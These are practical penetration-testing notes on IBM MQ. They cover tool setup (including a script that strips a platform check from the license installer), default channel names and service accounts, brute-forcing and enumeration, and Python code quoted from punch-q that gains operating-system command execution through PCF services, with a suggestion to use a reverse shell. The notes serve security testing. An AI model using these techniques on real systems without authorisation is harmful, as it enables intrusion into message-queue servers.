# Practical IBM MQ Penetration Testing notes

In order to interact with IBM MQ in any way, we need to install IBM MQ Client libraries, available only on IBM website. Account registration will be required to get hands on them.

### Step 1: Installing prerequisities

**Pre-requisites: IBM MQ Client**

1. Download the [IBM MQ V9.0.0.4 LTS Clients](http://ibm.biz/mq9004clients) - the file should be named: `9.0.0.4-IBM-MQC-LinuxX64.tar.gz` (_9.0.0.4 Client install image for IBM MQ on Linux X86-64_) - size: 397MB
2. Extract it to whatever directory.
3. Install debian/Kali/Ubuntu pre-requisities `apt install -y python-dev rpm`
4. Accept the license: `sudo ./mqlicense.sh -accept` or `sudo ./mqlicense.sh -text_only`
5. Do the following:

```
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```

### **Step 2: Pymqi & punch-q**

Having properly installed all of the MQ Client dependencies, we can now proceed to installing `pymqi` and `punch-q`:

1. Clone the punch-q repo: `git clone https://github.com/sensepost/punch-q`
2. Install them:
```
# pip install pymqi
# pip install -r requirements.txt
# python setup.py install
```

3. Before using `punch-q` specify MQ libraries path:

Either globally:
```
# sudo echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf
# sudo ldconfig -v
```

or temporarily:
```
# export LD_LIBRARY_PATH=/opt/mqm/lib64
```

**One stop shop script installing IBM MQ Client libraries**

Assuming we have `9.0.0.4-IBM-MQC-LinuxX64.tar.gz` file in our current directory, following script applies on Kali x64 linux:
```
apt install -y python-dev rpm pcregrep
tar -xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
pcregrep -vM '(?:echo "\s+This package was built for \$\{BUILD_PLATFORM\}")\n\s*exit 1' mqlicense.sh > /tmp/mqlicense.sh
cat /tmp/mqlicense.sh > mqlicense.sh
rm /tmp/mqlicense.sh
yes | sudo ./mqlicense.sh -accept
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
pip install pymqi
echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf
sudo ldconfig -v
ls | grep -v 9.0.0.4-IBM-MQC-LinuxX64.tar.gz | xargs rm -rf
git clone https://github.com/sensepost/punch-q
cd punch-q
pip install -r requirements.txt
python setup.py install
```

## Step 2: Handy notes on where to focus

**Internally:**

Having found several running processes with names such as:
`amqsvc.exe`, `amqxssvn.exe`, `amqrrmfa.exe`, `amqmtbrn.exe` 

These processes will be running impersonated as highly privileged service user name (according to the usernames table available below, at 2) . These users will act as local SAM users, which means we might be able to dump their NTLM passwords and crack them or even change them to whatever value we wish to facilitate successful IBM MQ server authentication.

**Externally:**

By using `punch-mq` we can:
1) Discover/Brute-Force available CHANNELS, 
2) Enumerate usernames (valid UserId fields)
3) Enumerate Queue Manager names
4) List available Channels or Queues as an authenticated user.
5) PUT, GET, Dump, Save, Sniff messages given an existent QUEUE name, as an authenticated user
6) Issue OS Commands by the use of `PCFExecute` functionality

In order to successfully authenticate to the IBM MQ server, we will need to have upfront following informatio prepared:
- Hostname/IP address
- TCP Port, typically `1414/tcp`
- Queue Manager name - easily obtained by the use of nmap scripts: `nmap -p 1414 -sV <host>` 
- Channel name (can be one of the below listed), at first start with: `SYSTEM.ADMIN.SVRCONN`
- Username (list of default system usernames below)
- Password

Incorrect access credentials will result in `pymqi` returning following response:
```
pymqi.MQMIError: MQI Error. Comp: 2, Reason 2035: FAILED: MQRC_NOT_AUTHORIZED
```

### 1) Default channel names:

_(in order to view system objects - click "Show System Objects" on upper right side of the MQ Explorer interface)_

```
SYSTEM.ADMIN.SVRCONN
SYSTEM.AUTO.SVRCONN
SYSTEM.DEF.SVRCONN
SYSTEM.DEF.SERVER
SYSTEM.DEF.CLNTCONN
```

### 2) Default Userid's depending on target OS version:

| OS Version     | UserId       |
|----------------|--------------|
| Linux/Unix/AIX | mqm          |
| Windows        | MUSR_MQADMIN |
| Other          | mqadmin      |

### 5) Important Administration QUEUE names:

```
SYSTEM.ADMIN.COMMAND.QUEUE
SYSTEM.DEFAULT.MODEL.QUEUE
SYSTEM.AUTH.DATA.QUEUE
```

### 6) Remote Code Execution

**6.1. Programmable Command Format (PCF) Services**

Being authenticated to the Queue Manager and a corresponding channel, we might be able to execute PCF (_Programmable Command Format_) commands (on MQ v6+) that would give us OS command execution by the use a concept called _services_:
- `MQCMD_CREATE_SERVICE`, 
- `MQCMD_START_SERVICE`, 
- `MQCMD_STOP_SERVICE`, 
- `MQCMD_DELETE_SERVICE`

That holds true as long as our impersonated user has sufficient permissions within OAM (Object Authority Manager) to perform requested PCF operation on the relevant objects.

Using `pymqi` or `punch-mq` this is as simple as invoking following code (source: [punch-mq](https://github.com/sensepost/punch-q/blob/master/libpunchq/cli.py) ):
```
    # create service
    qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
                         mqstate.username, mqstate.password)
                         
    args = {
        pymqi.CMQC.MQCA_SERVICE_NAME: service_name,
        pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL,
        pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND,
        pymqi.CMQC.MQCA_SERVICE_START_COMMAND: str(cmd),
        pymqi.CMQC.MQCA_SERVICE_START_ARGS: str(args)
    }
    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_CREATE_SERVICE(args)

    # start the service
    args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_START_SERVICE(args)

    # Giving the service some time to live
    time.sleep(wait)

    # delete service
    args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}

    pcf = pymqi.PCFExecute(qmgr)
    pcf.MQCMD_DELETE_SERVICE(args)

    qmgr.disconnect()
```

Incomming command will then be executed most likely as a root user. `punch-mq` does not implement any way of getting command's result back so we will have to go blindly here, preferably just using reverse-shell oneliner. 

If we wish to have our commands' results back, then more code will need to be added facilitating specification of output Queue where PCF should PUT it's results, then manual Queue read by the use of GET operation to retrieve OS command's outcome. Such a Queue could be created based on `SYSTEM.DEFAULT.MODEL.QUEUE` template. Martyn Ruks goes in details on that in his paper (ref: 1, page 24).

**6.2. Use of Triggers**

Martyn Ruks described (ref: 1, page 30) that we may also succeed invoking system commands by defining event triggers that would execute specified command as soon as preconfigured event fired up our malicious trigger.


## Additional sources

1. [Martyn Ruks: WebSphere MQ Security. White Paper – Part 1](https://labs.f-secure.com/assets/141/original/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf)
2. [Martyn Ruks: MQ Jumping](https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
3. [punch-q](https://github.com/sensepost/punch-q)
4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995)
5. [mini-reverse.ps1 script designed by @staaldraad](https://gist.github.com/mgeeky/fc11c9f227755a529eb607ed4d1742f9)

